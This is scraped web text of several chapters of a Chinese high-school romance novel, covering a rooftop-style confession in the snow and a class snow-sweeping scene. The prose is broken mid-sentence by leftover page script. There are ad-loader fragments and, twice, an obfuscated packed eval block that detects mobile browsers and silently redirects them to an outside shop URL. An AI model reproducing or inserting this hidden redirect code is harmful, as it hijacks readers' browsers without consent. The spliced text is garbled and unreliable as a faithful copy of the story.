他这话声音不算小,其他学生被勾得蠢蠢欲动闻讯而至:“我也要!帮我也带一杯!” “限量五人份啊。”周扬缩了缩脖子,“排队,再多拿不下了!” 林藏初口袋里的手机掏出来一半又放回去:“……喝。谢谢啊。” 五分钟后周扬带着一张长长的奶茶清单忙不迭地跑了,围上来要奶茶的同学也都跟着散了。 只剩下旁边没抢到奶茶名额的生物课代表还在奋笔疾书。 同样在奋笔疾书的还有谢遥集。 林藏初忍不住去看,发现谢遥集写的和生物课代表竟然是是同一张理综卷。 “……” 林小少爷努力地想了想,没能想起来这是什么时候留的作业。 也没想起来自己把这张理综卷到底塞到了哪里。 他悄悄地弯腰在桌屉里翻了翻。 没翻到。 林藏初彻底放弃了,把被封印多时的手机拎出来,转而投入了游戏的怀抱之中。 只是写着理综卷的课代表总会时不时地转头过来问题。 写题写到卡壳的时候要问,摸不准答案的时候也要问。 谢遥集把所有的问题照单全收,停下笔把头凑过去,细致入微地讲。 在课代表第四次回过头时,林藏初手底下一个操作失误,角色在野区被对面丝血反杀。 “……” 手机屏幕跟着暗下来,心里没来由地有些闷。 等待复活的时间里队友守家失败,水晶被推,巨大的defeat蹦出来。 他烦躁地啧了声,把手机扣在桌面上,发出不轻不重的声响。 生物课代表还在拿着卷子问:“谢神,你这题选的A还是……” “选的C。” 林藏初没好气地替人答了。 瞎蒙的。 “啊?”课代表不信,又对着自己的卷子仔细瞧瞧,探过头来要往谢遥集的答案上看,“C选项看着不太对啊……” 谢遥集把卷子状似无意地往后一撤,恰到好处地遮住了上面写的答案:“嗯,他说的对,确实选C。” “……那好吧。” 课代表讪讪地把头转回去,“可能是我想错了,我再看看。” 林藏初眼尖地看见谢遥集手掌遮住的试卷部分,横线上写的分明是个铁画银钩的“A”。 少爷的嘴角不受控制地悄悄弯了下,又很快装作无事发生,重新恢复平静。 手机被他重新从桌面上捡起来,倒是没再切回到游戏,只是用边角去戳同桌的胳膊:“喂。” 谢遥集的视线落过来。 林藏初撑着头,笑眯眯地往他漂亮的脸上瞧,也不出声,只是比着口型明知故问:怎么选的是C呀? 谢遥集盯着林藏初的下半张脸,喉结上下滚动,看见对方的唇珠随着说话的动作微微地颤。 唇瓣上下一碰,喊的是谢遥集的名字。 “谢遥集,其实这题我也不会,教教我嘛。” 林藏初凑上来,分明是求人帮忙的话,却被他讲得轻佻又暧昧。 “——真奇怪,怎么就选了C呢?” 在试卷上作乱的手终于被人忍无可忍地扣住了。 谢遥集单手轻轻按着,另一只手拧开水杯抿了两口,垂着眼睫问:“你真的想听?” “……”视线攫过来的一瞬间,林藏初的心脏猛地一跳,不足三秒的伪装轻飘飘地瘪了下去。 他面上强撑镇定,按着自己几乎要蹦出胸腔的心脏:“听啊,为什么不听?” 他答得干脆利落,反倒是谢遥集闻言一怔,看着人的样子像是在思考,又好像只是单纯地在望。 “——以后要不要一起学习?” 隔了很久林藏初才听见他的回答,与上个话题颇有点风马牛不相及。 扔出去的试探没能得到回应,林藏初撇撇嘴,没了继续追问的心思:“谁要跟你一起学习。” 只是内里鼓噪的心跳却尚未停歇。 少爷放了拒绝的狠话,眼睛却忍不住一个劲儿地往右边瞟。 刚才的对话好像只是一个微不足道的小插曲,谢遥集仍然在写那套理综作业,一道题算过去,又在算下一道。 非要说有什么不同,大概是前座的生物课代表再来对答案的时候,都被谢遥集用“还没写到”的理由搪塞了回去。 林藏初把桌面扣着的手机翻过来,又再次百无聊赖地扣过去。 ……他有点后悔自己刚才头脑一热,拒绝谢遥集的邀请了。 如果答应的话,现在是不是就可以听谢遥集讲题了? 少爷的如意算盘打的响亮,昂贵手机被他当成笔在指尖转着圈,离得近的同学看得冷汗直冒:“林哥,你小心没拿稳把屏摔了。” “没事,摔坏正好换新的。” 林藏初无所谓地冲人笑笑,手上倒是很听话地停下了,“说起来你快过生日了吧?要什么生日礼物,想好没?” 被他点名的同学脸噌一下红了:“没事的林哥,你不用破费……” “要毕业了,送个礼物没什么的。”林藏初摆摆手,“你要是不说,到时候我可就随便送了。” 在旁人刚出声的时候,谢遥集就已经停了笔,没再接着往下写答案,只是视线还留在试卷上。 给人一种“正在冥思苦想物理大题”的错觉。 所以林藏初没发现,这人藏在桌面下握紧又松开的手。 林藏初在高三这一年送遍了班级几乎所有人的生日礼物,谢遥集知道这件事。 只是林小少爷记载同学生日的本子上没有他—— 纸笔从后桌传过来时,谢遥集只潦草看了一眼,就毫不停留地接着往前递回去。 所以今年来自少爷精心准备的生日礼物,全班同学都有份,除了他。 劣质油墨从针管笔的笔尖渗出来,再写下去的时候,会在试卷的空白处洇出很大一摊墨。 谢遥集垂着眼睛读下一道题目的题干。 只是耳边的声音还是会偶尔挤过来。 “林神上次送了我那么大一条鲸鱼玩偶,我去,抱回家的时候我妈还以为我把人打昏了!” “笑死了……我是最新款的游戏手柄,现在还摆在玻璃罩里面供着——我从来没收到这么贵的礼物。林哥真的很大方。” “我赞同。” “加 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一,我也赞同。” “……” 谢遥集捏着笔的手指不自觉地用了力。 他又想起来自己曾经有关好人与坏人区别的争辩,何为真善何为伪善。 君子一词,又是否真的论迹不论心。 ……有点配不上。 又或者从来就不能相提并论。 谢遥集在心里沉默地把名字从林藏初三个字旁边划下去,把那点儿要抽芽开花的喜欢重新怼回角落。 还好林藏初没有答应他那句似是而非的邀请。 谢遥集很庆幸、很劫后余生地想。 他和林藏初从来就不是一条路上的人。 ……所以远远地看着就好。 不要再奢求更多了。 答题卡上停顿的笔尖再度落下去,这次却是把之前的解题步骤全都勾掉了。 林藏初被恭维声吵得一个头两个大,草草地尴尬应和几句,忙不迭转身把手机拎了起来。 ——借此来躲避一些很无穷无尽的没营养聊天话题。 他刚按开锁屏,就看见周扬五分钟前发的消息。 先是两张奶茶店价目表的照片,问他要喝什么口味。 林藏初没回,当时也说的随便,所以周扬就点了杯椰果甜橙百香,又发了条消息征询意见。 再之后又是一张照片。 时间一分钟前,拍的是奶茶店旁边花花绿绿的便签墙。 林藏初觉得有点眼熟,点开大图,越瞧越熟悉。 ……好像是上次,谢遥集不小心买错双人情侣奶茶套餐的那一家。 “……”久远的记忆浮上心头,林少爷耳后微红,忍不住伸手摸了摸自己的脸。 有点烫。 当时的心境和现在也很不一样。 手机忽然开始疯狂震动,林藏初险些被吓了一跳,回过神低头往聊天框看。 继一张最新的照片之后,周扬夺命连环call地连发四条语音。 第一句只有两秒,说的是“卧槽”。 第二句是“我笑吐了谁家好人表白最后还带报菜名”。 第三句是“牛逼啊粘这么高,这哥们是不是长一米九啊”。 “……” 林藏初手一抖,最后的转文字按成了直接播放。 周扬的声音慷慨激昂地从扬声器里传出来:“贴这么明显生怕别人看不见,嘿,你别说,这字看着还有点眼熟!” 林藏初手忙脚乱地去捂听筒,但是班里同学的八卦目光都已经齐刷刷地扫了过来。 谢遥集也递了个“?”的眼神。 “咳……不是,那个。” 林藏初低着头不敢看谢遥集的眼睛,嘴里又开始胡诌,“周扬刚才在看奶茶店外面的手写木牌。” “就这个啊——”想听八卦的同学们扫兴地把头转回去,“没意思。” 林小少爷还是不敢抬头,捂着手机屏幕也不知道是在躲什么,又或许是只要遮掩着就能让自己也看不见。 直到右边的那道视线像其他人一样收回去。 林藏初松了口气,小心翼翼地把盖在手机上的手指挪开一个缝隙。 周扬发来的图片像素很低,有些地方模糊成了残影,像是跳起来拍的。 是那天他等在奶茶店外面,没有看见的许愿墙上最高处。 小小一张便利贴,上面是熟悉的、谢遥集的字迹。 ——从你递给我那把伞开始,我就在喜欢你。 落款:宫保鸡丁。 59. Chapter 59 这场大雪一直下到傍晚,等远道而来的教授终于走进多媒体会议教室,又走上讲台时,已经是晚上六点钟了。 林藏初没能如当初英语课代表所料想的那样,跟谢遥集紧挨着坐在一起。 或者换个说法,他有意要跟人拉开距离,好能给自己单独的空间来捋顺已经乱成一团的思绪。 以至于前面“多媒体幕布死活投不上影”的这种热闹大事,林小少爷也没注意。 会议因此又向后延了十分钟。 高校教授人至中年,显得和蔼可亲,衣服上是一路风尘仆仆的褶皱。 忙活了大半天,这场状况百出的宣传演讲总算是正式开始,窗外天色渐暗,玻璃上结了一片白茫茫的霜花。 林藏初坐在人群里,前面教授的演讲声回荡在教室的四面八方,他却一个字都听不进去。 脑袋里想的全是另一个人。 从被拒绝掉的烧烤邀请,再到如今的双人份电影票。 黄昏时街上拉长的影子。 一桩桩一件件,被名为感情的笔在心里浓墨重彩地勾了线。 林藏初忽然后知后觉—— 他好像,比自己认知中的,还要更喜欢谢遥集一点儿。 看见周扬发来那张技术欠佳的照片时,林藏初远不如想象中那般内心平静。 玻璃窗里贴在最高处的便利贴,莫名跑去幼稚许愿的人。 变成情侣套餐的奶茶。 马路旁偶尔牵上又很快放开的手指。 当初所有不合常理的地方,都在这一刻有了极为合理的解释。 事实摆在面前,林小少爷忽然有种不真实感。 谈恋爱到底是什么样子的? 他忍不住偷偷地想。 林小少爷对于“恋爱”这件事的认知十分浅薄,其中大部分都来自于走廊里被政教老师追得到处抱头鼠窜的小情侣。 七十二条校规里被林藏初犯过的不在少数,唯独写着早恋这一条还是新鲜空白的。 林藏初花了半个月来接受自己喜欢的人是谢遥集这件事,又花了半个月来劝自己老老实实地把人当好同桌。 ——只是这个“劝”好像没有生效。 “……好,下面我们抽一个幸运同学起来回答这个问题。” 隔着几排长桌的讲台前面,作着演讲介绍的教授笑眯眯地翻了一页PPT。 “穿着白色羽绒服的那个男生,哎,低着头看桌面那个。”教授颔首道,“你起来猜一猜这道题的答案。” 林藏初被旁边的同学怼了下胳膊,终于从这场漫长的自我剖析中回过神。 等把视线落回到讲台时,才发现教授点的人不偏不倚,正好是他。 “……” 左看右看都看不到援军,林藏初只好硬着头皮站起来。 PPT上显示的只有一张鸳鸯锅图片,清汤和油锅对半而分。 ……这啥? 教授贴心地把问题重复了一遍:“来,同学,你猜一猜这两个锅底哪个先开?” 林藏初:“?” 虽然有点摸不着头脑,但林藏初还是凭借生活常识十分谨慎地答:“油锅吧。” 教授满意点头:“没错,确实是油锅先开。” “那你要不要试着说一下,为什么油锅这边的水会先沸腾呢?” 问题一出全场安静,似乎是都在思考。 林藏初作为在场座位上唯一站着的学生,颇有种被赶鸭子上架的局促感。 教授还在耐心地等他的回答。 ……但林藏初是真的不会。 他盯着PPT上面油锅里面飘着的辣椒看了半晌,一狠心一咬牙,自暴自弃地抛出来个答案: “因为辣椒是空心的。” 讲台上的教授没能料到这个答案,一时间怀疑自己没听清:“什么?再说一遍?” 林藏初:“因为……” 后面的辣椒两个字还没说出来,忽然感觉自己的手腕被什么东西砸了下。 他低头,发现是一张叠起来的A4纸。 拆开之后纸上是熟悉的字迹: 油密度小,在水上面会减少热量散失。 林藏初顿了下,把自己原本破釜沉舟的答案咽下去,转而换了话。 几乎是没有任何怀疑地照着上面写的读了。 高校教授原本皱着的眉目瞬间舒展,赞不绝口道:“这位同学答得非常对啊。” “……这是某学校自主招生试卷上的一道题,考察的就是平时生活中的观察思考,所以我们……” 林藏初松了口气,在教授的请坐手势中麻溜利索地坐下了。 离他不远处后面的位置,谢遥集不动声色地收回自己刚扔完纸条的手。 A4上的字迹要比平时显得更为潦草,一看就是临时情况下急匆匆地写上去的。 林藏初无意识地攥了下纸张边角,心跳得很快,不知是因为被教授当众提问的缘故,还是因为收到了谢遥集专门写给他的答案。 一个略为鲁莽青涩的决定在心底生根发芽。连一天都等不及。 后面的宣传流程走得顺利,学生举手提问,教授和蔼地一一解答。 等这场漫长曲折的会议终于结束,林藏初随着熙攘人流走出教学楼时,天空又开始飘起零星的雪花。 下过雪后的夜晚万籁俱寂,挂满了霜的枯枝从灌木丛里伸出来,沉甸甸地压向地面。 操场跑道旁的路灯稀疏安静地亮着。 像盏月亮。 于是林藏初就在这盏月亮的光晕里看见自己要找的人。 谢遥集斜靠在篮球场的栏网旁,雪地上的影子被向后拉长,路灯冷白调的光从上方照下来,在这人漂亮的脸上投出光影轮廓。 林藏初的心不甚明显地跳了下。 他抿了抿唇,几乎是连蹦带跳、一路小跑地赶过去:“谢遥集!” 不过几秒钟的功夫就到了跟前。 谢遥集听他连气都喘不匀的喊声,原本疏离冷漠的眉眼一瞬间变得柔和,失笑道:“跑得这么急做什么?” 他的视线先是落在林藏初的脸上,然后又落到这人身后白茫茫雪地里一连串的脚印上,习惯性地帮着人理了下棉服的领口。 “又不是不等你,小心摔了。” 带着凉意的手指不可避免地碰到脸颊,林藏初缩了下脖子,大脑一片空白。 打好的腹稿像是卷成团的棉花糖,嘎巴嘎巴地嚼完了,通通咽回肚子里。 ……他想说什么来着? 谢遥集习以为常地牵着人的手腕,走出去几米,被牵着的人终于想起来今天势必要说出口的话。 “那个——” 心跳得厉害,在意识到主人要出声的瞬间几乎悬停在了最高点,像是被不知名的绳子扼住了一般。 林 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 藏初从来没有这么紧张过。 哪怕打海选赛时经济落后战况焦灼,要背水一战、高地单挑敌方四人的时候也没像现在这样。 他只说了两个字就卡住了嗓儿,那些被压下去的担忧和羞赧在瞬间成群结队地冒出来,像是在喉咙里结成网一样,拼命地把林小少爷未出口的真心话往后拽。 谢遥集偏过头来看他:“怎么了?” 林藏初摸了摸自己的脸,脚步放慢,站在雪地里躲开对方的视线,很小声地讲。 “……谢遥集,我有件事想告诉你。” 周遭的说笑打闹声如潮水般渐渐远去,偌大的操场上只剩了站定的两个人。 不远处路灯的光将两道影子拉得很长,肩靠肩地躺在地面上,中间隔了道缝隙。 谢遥集握着人的力道很突然地紧了几分。 “什么事?”他声音很轻地问。 一个荒唐的猜测在心中缓缓成型。谢遥集忽然有些想逃。 可是他跑不掉,脚下生了根扎进雪里,心里的喜欢和爱叫嚣着想要回应。 手掌里握的是对方带着脉搏的、温热的手腕。 谢遥集看着这个各方面都与他天差地别的少爷捧着一颗真心,瞳孔里倒映着他的影子。 “其实也不是什么大事……” “就是,嗯,我发现我好像有点喜欢你。” 短短两句话说完,出声的人脸先红了大半,然后便是脖颈和耳垂。 林少爷的皮肤生得白,情绪叫人看得一清二楚,尤其是在这样的皑皑雪色里。 心里那扇拼命锁上的门被人拿着钥匙轻轻一拧,不费吹灰之力地就推开了。 那些他甘之如饴的细节、黄粱一梦的猜测,在这样一个没有月亮的雪夜,没有任何预兆地变现—— “我还没谈过恋爱呢。要不要试一下啊?同桌。” 要不要试一下啊。同桌。 林藏初这样对他说。 握着人手腕的力道倏地松下来。 谢遥集张了下口,似乎是想说些什么,但最终还是没有回答。 心底最深处的雀跃和欢喜在荷尔蒙的冲击过后,又被理智和现实的冷水兜头浇下。 ……他没有什么能给林藏初的。 身上背着债务,一周还要打三份工。 游戏也玩不明白,只会说一些没有营养的漂亮话。 喜欢是一回事,在一起又是另回事。 谢会长拒绝过很多人的表白和礼物,但是在林藏初这里却头一次直接失了声。 “抱歉”两个字怎么说也说不出口,他唇瓣翕动,努力想挤出拒绝的音节来。 ……做不到。 无论怎样都说不出口。 无数次梦里出现的场景在现实再现,他却没了在梦里的游刃有余。 不能亲吻,不能回答,比任何一次都要狼狈得多。 于是林藏初就看见对面这个被他表白的人忽然踉跄着向后退了一步。 看不清表情,也听不见说了什么话。 林藏初皱了下眉,刚想再重复一遍刚才的问句。 只是等他再酝酿好情绪,一抬头,人已经跑了。 背影丝毫不像谢会长平时的冷静作风,看着有些跌跌撞撞。 跑到校门口的时候还差点撞路灯上。 林藏初:“?” ……他不就表个白吗,不至于吧? 60. Chapter 60 临水县又连着下了三天的雪。 今年的气候不比往年,寒潮来得迅而急,刚进十二月初就已经有了天寒地冻的趋势。 林藏初再没遇上和谢遥集单独相处的机会—— 这人上课危襟正坐肃穆听讲,等下课铃响起的一瞬间,又会当机立断地起身出教室。 直等到下节课开始,才姗姗来迟地回到座位。 晚饭前剩下的两节自习课更是不见人影,不是开会就是去帮忙整理资料。 就这么寡淡地过了几天之后,林藏初终于忍不住,在一个雪过天晴的下午自习课上拽住谢遥集的袖子。 “……你这些天到底在忙什么?” 谢遥集怀里抱着一叠文件,无奈地试图把自己的校服衣袖从林藏初手里扯回来:“学校过些日子要办一个大型冰雪节……叫我去帮忙负责。” “什么节?”林藏初松手了。 “冰雪节。”这是谢遥集这几天以来对他说过最多的话,“美名其曰让学生充分发挥动手雕刻能力,培养审美艺术。” “但其实就是这几天扫出来的雪太多了,学校操场有点堆不下。” 林藏初:“……” 林藏初看了眼同桌被自己拽得起了褶皱的袖子,抿着唇把情绪咽回去,最后什么也没说:“哦,那你去吧。” 谢遥集点点头,抱着纸和笔走了。 前桌的周扬表面在写作业,实际上已经竖着耳朵听墙脚听了不知道有多久。 ……饶是再迟钝的人,也能看出来这两天后面这对儿同桌的不对劲。 周同学的八卦之魂熊熊燃烧,转头过来状似无意地打听道:“林哥,谢神最近怎么这么忙啊?” “你问我?”林藏初看他一眼,把桌屉里的手机按灭了,“我上哪儿知道去。” 碰了一头一脸的灰,周扬讪讪地摸了下鼻尖,但是还没有放弃:“下课不见人影了,平时也不见你俩唠嗑——” “林哥,你实话说,你跟谢神是不是吵架了?” “……吵架?” 林藏初把这两个字放嘴里嚼了一遍,像是听见什么格外好笑的事,“我和谢遥集,吵架?” 他倒是想吵,可惜谢遥集不给他这个机会。 躲得跟什么似的。 每天除了上课就是开会。 “你俩没吵架啊……” 周扬还是有点不相信,但林哥自己都这么说了,他也不敢当面质阙:“没吵架就好,我还能从你那里蹭点儿谢神的作业答案。” 林藏初:“……” 林藏初到底没忍住:“你就不能直接抄他的吗?” 非拐个弯儿干什么? “祖宗,我哪里敢啊。” 周扬想起昨天找谢遥集借试卷对答案,结果惨遭拒绝的场面,打了个寒颤。 他摸摸自己胳膊上的鸡皮疙瘩:“谁不知道现在谢神的作业答案只有他的好同桌才能看。” “好同桌”三个字被他加重了语气,像是刻意强调似的。 林藏初:“。” ……什么时候的事?他怎么不知道? 少爷刚想揪着这个意料之外的话题多问几句,墙上广播就滋啦啦地响了。 “通知:请各班同学带好工具在楼下集合,进行集体扫雪工作。” “再重复一遍。通知:请各班同学带好工具在楼下集合,进行集体扫雪工作。” 原本安静自习的班里霎时一片哀嚎。 林藏初眼瞧着周扬低头从桌屉里把超绝保暖围巾手套翻出来,叹气:“唉。” “昨天不是才扫过吗?今天又扫啊?” “这几天不是连着下雪呢吗。” 他同桌也叹气,回道,“估计这苦日子得等到雪停才能结束了。” 高中生一向是扫雪工作的最好免费劳动力——这句话就犹如墙上挂着的真理标语一般不可否认,同时也被贫穷如临水一中这样的学校奉为圭臬贯彻到底。 林藏初从小到大都没干过什么重活,但也是结结实实地在学校冬天的操场上冻了两年。 铁锹扫帚麻袋齐上阵,上到班主任下到学生一视同仁,全都逃脱不了被分配扫雪任务的命运。 班级里长吁短叹声此起彼伏,贝姐适时出现在班级门口,已经把自己裹成了厚厚的一个大棉粽子:“收拾好就走吧,都穿厚点儿再下去啊。小心冻着。” 林藏初是最后一个出门的。 临走之前他又没忍住,往谢遥集空荡荡的位置上看了一眼。 怎么就这么能躲呢? 少爷心想,简直像只缩头王八一样。 谢王八。 他默默在心里给对方起了个绰号,想完了又觉得实在太难听,把自己都给逗笑了。 有相熟同学站在楼梯拐角等他,扯着嗓子喊人:“乐啥呢林哥?” 林藏初绷直嘴角,抿着唇摇摇头,只是眼睛的弧度还是弯的:“没什么,走吧。” 临水县的天色黑得早,到操场的时候云层里雾蒙蒙的日头只剩了一半。 雪没停,路灯也还没亮,整个学校像被罩上了层朦胧不明的纱,剩下厚实雪地里黑压压一片攒动的人头。 各个班的分担区是一开始就安排好的,林藏初轻车熟路跟着同学地找到自己班的队伍,还没等挤过去,手里已经被人塞了一把沉重的大铁锹。 “给!林哥!”周扬邀功似的把怀中那只拖在地上的铁锹递出去,“刚才抢了把贼顺手的,送你了!” 林藏初猝不其防一个趔趄,向后退了两步,铁锹杵在地上砸出个浅浅的雪坑来。 他上下打量了这柄比人还高的铁锹来:“……你这从哪儿弄的?” “咳,那个。”周扬目移,“其实是从隔壁二班那儿拿的……” 林藏初试着把铁锹向上抬了几厘米。 沉重锋利的锹面随着他的动作离开雪地,两秒钟后,又不堪其重地落回原处。 铮地一声,铲起一大片飞扬的碎雪。 林藏初和周扬两个人的鞋子谁都没能幸免于难,少爷扶着锹,面无表情地回望。 周扬摸摸鼻子,语气讪讪:“虽然这锹确实是有点沉……” 但好歹是他死皮赖脸换来的呢。 林藏初:“你想拿它砸死我就直说。” 话音未落,二班的某个同学过来了。 本来是气势汹汹地过来找工具的:“周扬!你换给我的那把扫帚一点也不好用,快把我的锹还——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13951733|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光触及到林藏初和他手里那把格外眼熟的大铁锹时,又迟疑地顿了话音。 “……嗳,林哥你拿着呢。” 权衡了下结果,他果断地后退两步。 “你用着,我就随便过来转转。” ……开玩笑,谁敢从林小少爷的手里往回抢东西啊。 周扬原本打的算盘也正是这个,但他没料到这把传说中锋利无比、被各班垂涎三尺的大铁锹与少爷竟然相性不合。 “等等。”林藏初喊住转身要跑的二班同学,后者茫然地回过头来,只听见一句,“你把锹拿回去吧,我用不上。” 二班同学受宠若惊:“真的吗林哥?” 林藏初表情无奈:“真的。” 周扬十分心痛地别开眼,默默哀悼自己好不容易坑蒙拐骗过来的工具。 学校发的破烂工具有好有坏,全靠各个班去领扫雪工具时候的速度和手段。 因此各个班级耍个无伤大雅的心眼子,互相把对方好用的工具换过来是常有的事——只是难度较高,还一不小心就容易被群起而攻之。 周扬的心都在滴血,看着二班同学拖着那把沉重的大铁锹一步一趔趄地走远。 然后他忽然意识到了个问题。 自己当初是拿扫雪笤帚换的锹,如今锹还回去了,笤帚呢? ……? 周扬瞬间想通了其中的蹊跷关窍,再定睛往前一看,原本拎着锹步履蹒跚的二班同学在走出去几米之后忽然变得健步如飞,拎着锹嗖一下就混进了人群里。 ——生怕被谁追上来讨债似的。 周扬:“。” 常在河边走哪有不湿鞋,这次真是连鱼饵带杆全叫人叼跑了。 林藏初看见他脸上的失落神色,拍着肩安慰:“没事,咱班也不差那一个工具。” “该干的活少不了,不用干的活咱也轮不到。” 少爷窝在棉袄衣领里面的鼻尖和脸颊被冻得有些发红,周扬原本是在盯着林藏初的脸看的,但是不知道为什么,忽然有些别扭移开了目光。 ……无他,实在是他林哥这副连睫毛上都挂着霜的样子太引人遐想了。 漂亮得好像欧美电影里面的冰雪精灵。 不知道该怎么形容,但是跟平时那种给人的张扬跋扈感完全不一样。 “你说的对。”周扬深吸口气,尽量不去再无端进行有关联想,努力提醒自己面前这位是个能以一打五的哥,“生活委员肯定不会让我们闲着……” 说曹操曹操就到,高姿拎着一大堆麻袋摇着高马尾跑过来,语气兴高采烈的:“快,你们俩!过来帮个忙儿!” 周扬闻言立刻止了话音,迎过去把女生手里的重物接过来。 林藏初也分了几个麻袋帮着拿在手里。 跟着高姿往不知名目的地走了两步,他看着这些或长或短、颜色各异的袋子,到底没忍住问:“这些……是用来干什么的?” “当然是用来装雪了!” 高姿自豪地拍了下自己的胸脯,雀跃道,“你也不看前几天咱班过得什么苦日子,哪有用撮箕一点点来回运雪的?” “喏,这不,你高姿姐我到处搜刮来的,今天的装雪活儿保准轻松好吧!” 61. Chapter 61 因为没有趁手的工具,所以当林藏初拿着其他同学资助的、断了柄的小铁锹戳了半天雪地,只戳出来不足两平方米的清扫地面时,终于被高大委员忍无可忍地叫停了。 她指了指远处干活干得热火朝天、雪花飞扬的同学们,又指了指自己身边那几条来之不易的麻袋:“林神,其实我有更重要的活儿要交给你。” 林藏初停下手里艰难铲雪但一无所获的动作:“……什么活?” “帮忙把这几个袋子都送到对面,喏,就方有才他们那边。” 高姿从缠在一起的麻袋里利落地拽出来两条,尽职尽责地交到林少爷的手中。 “行。”林藏初把铁锹杵在一旁,点点头,算是接了这个临时任务。 “等下,不对。” 他刚要走,又被高姿给喊回来了。 高大委员轻轻握拳一砸,像想起来什么似的:“体委那边好像也找我要袋子来着……” “这样吧。”她从林藏初的手里抽回来两条,“我去方有才那边送,剩下的这几条你直接给体委就行。” 林藏初不明所以地点头:“哦哦,好的。” 高姿说完这话就风风火火地朝着操场的另一头进发了。 林小少爷目送她的身影消失在远处的雪堆后,也抬腿准备去找体委,几秒钟后他终于发现了一点不对劲的地方—— 偌大的操场上天色昏暗雪地迷蒙,所有的学生都穿着同样的冬季校服,抡着沉重的大铁锹埋头苦干。 ……高姿没说也没指,抬脚就走了。 他自己一个人,上哪儿找体委去? 林藏初低头沉默地看了眼自己手里的麻袋,活像是拎了个扁平的烫手山芋。 视线在密如蚂蚁的操场人群中逡巡无数圈仍旧找人未果,他终于放弃,继而无计可施地叹了口气。 ……虽然很不想承认。 但他确实又有点想同桌了。 要是谢遥集在这儿,肯定能一眼就认出来谁是谁。 林小少爷揣着自己心里那点没着没落的酸涩感,想到今天上午的小插曲,没忍住叹出今天的第二口气。 操场上没扫净的残雪在傍晚严寒的低温中被冻得硬邦邦的,鞋底踩上去很滑。 按理说走这样的路,应该全神贯注小心翼翼才对。 可是他的思维不知为何全被“谢遥集”这三个字流氓似的占满了。 林小少爷视线分明是盯着地面的,脑袋里却在想怎样才能让人心甘情愿地答应自己的告白。 难不成真的是因为当时太仓促了吗? 他认真回忆了下小时候跟妹妹和自家妈三个人一起窝在沙发上看的青春偶像剧。 里面的情节都是什么样来着? 可怜林少爷格外贫瘠的恋爱经验,既没吃过猪肉也没见过猪跑,只好从记忆里艰难翻找一点能勉强搭上边的东西。 高档咖啡厅。玫瑰花。 红丝绒首饰盒里闪闪发光的鸽子蛋钻戒。 单膝跪地问愿不愿意嫁给…… 不对,这都什么啊! 林藏初把自己的思维从开始想象谢遥集穿婚纱的样子前险而又险地拽回来。 他叹了今天的第三口气。 雪花还在扑簌簌慢悠悠地往下落,林藏初闲逛到第三圈,四肢都有点冻僵了,忽然听见体委的声音在远处喊:“林哥!这儿!” 他闻声望去,看见体委正跳着在向自己招手:“你手里——是不是生活委员——给你的袋子啊——” 林藏初也扬声喊:“是——啊——” “我——这就——过来——!” 不明不白地把人家的活耽误这么长时间,林藏初摸摸鼻梁,总觉得有点理亏。 于是他捂着手呵了口气,原地跺了跺脚,俨然是一个准备起跑的姿势。 体育委员离得远,只看到了林少爷朝着自己的方向不管不顾飞奔过来的身影。 他下意识出声:“林哥,下雪天路滑你——” 话说一半,林藏初果不其然一脚踩在了麻袋上。 就着麻袋和雪地之间微乎其微的摩擦力,手舞足蹈结结实实地摔了个后仰。 “……小心点儿。” 体育委员说完剩下的半截话,才发现摔在地上的人半天都没爬起来。 “我草啊。” 他当机立断地扔了铁锹,也顾不上别的了,连滚带爬地跑过去,凄厉哀嚎:“林哥!你没事儿吧!!” 周围熙熙攘攘的同学被他一喊也注意到了这边的异状,纷纷扔了扫雪工具紧张地围过去。 “没事儿吧?” “还愣着干嘛啊,快点儿把人扶起来!” “有伤到哪里吗?” “有点站不起来,感觉好像是崴到脚了。” “什么?站不起来了?” “林哥伤咋样啊?啥?脚腕骨折了?!” …… 于是当谢遥集开完会,从教学楼走出来的时候,看到的就是这样一副场景—— 远处自家班级的扫雪分担区里,一群同学里三层外三层地弯着腰围了一圈,七嘴八舌吵吵嚷嚷的听不清。 恰巧有认识的人火急火燎地从他身边跑过去,谢遥集还没来得及搭话问清楚,就听见近处同样不明就里的几个别班同学喊:“发生什么事啦?” 有特意赶过去看热闹的慢了脚步,忙里抽闲地回答:“听说好像是一班那个富二代少爷,刚不小心滑了一跤,把腿摔断了!” 一班的?富二代少爷? ……林藏初? 谢遥集只觉自己脑内嗡鸣一声,呼吸间呵出的白雾散去,心脏像是被周遭这冰天雪地的严寒给一并冻住了。 他没心思再去听多余的话,长腿一跨,直直地就冲着人群的方向飞奔过去。 身上分明厚棉厚袄地裹着,谢遥集却还是觉得冷。 是种钻心剜骨的冷。像冬日喜马拉雅山上的雪崩一样铺天盖地席卷而来。 厚重的大雪把他整个人都盖进土里,连同无法呼吸的五官一同埋起来。 冷空气被吸进肺里的感觉很不好受。 谢遥集被迫闻见了初冬那种独有的、与寒冷相关联的气味,带着一点儿说不清道不明的苦。 和小时候偷吃到的苦杏仁的味道很像。 谢遥集难得抛开旁人眼中的完美形象,那些刻意营造出的稳重和运筹帷幄,从头到脚都端着循规蹈矩架子的“好学生”。 操场上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13951734|147824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 